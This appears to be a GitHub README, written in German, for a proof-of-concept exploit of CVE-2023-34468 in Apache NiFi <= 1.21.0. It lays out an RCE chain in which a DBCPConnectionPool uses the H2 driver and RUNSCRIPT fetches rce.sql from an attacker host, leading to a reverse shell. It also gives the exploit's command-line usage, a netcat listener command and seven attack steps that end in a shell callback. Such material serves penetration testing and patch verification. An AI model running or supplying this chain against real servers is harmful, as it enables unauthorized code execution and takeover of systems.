0xsoulaimane/cve-2023-34468-pocPoC-Exploit für CVE-2023-34468 — RCE über H2 RUNSCRIPT in Apache NiFi <= 1.21.0
Remote Code Execution über H2-Datenbank RUNSCRIPT in Apache NiFi <= 1.21.0
Apache NiFi wird standardmäßig mit einem gebündelten H2-Datenbank-JAR ausgeliefert. Der Controller-Service DBCPConnectionPool
kann so konfiguriert werden, dass dieser H2-Treiber verwendet wird. H2 unterstützt eine RUNSCRIPT-Anweisung,
die eine SQL-Datei von einer entfernten URL abruft und ausführt. Diese SQL-Datei kann beliebigen Java-Code
über CREATE ALIAS definieren und ihn auf dem Server-Betriebssystem ausführen.
Angriffskette:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Version |
|---|---|
| Apache NiFi | <= 1.21.0 |
| Behoben in | 1.21.1+ |
| Java | Beliebig (gebündelt) |
requests-Bibliothek → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
| Argument | Standard | Beschreibung |
|---|---|---|
--target | http://NiFi.target.com | Basis-URL des NiFi-Ziels |
--lhost | 10.10.10.10 | Ihre IP (tun0) |
--lport | 4444 | Port des Reverse-Shell-Listeners |
--http-port | 80 | Port zum Bereitstellen von rce.sql |
--cleanup | False | Erstellte Artefakte nach dem Lauf löschen |
Terminal 1 — Listener:
nc -lvnp 4444
Terminal 2 — Exploit:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)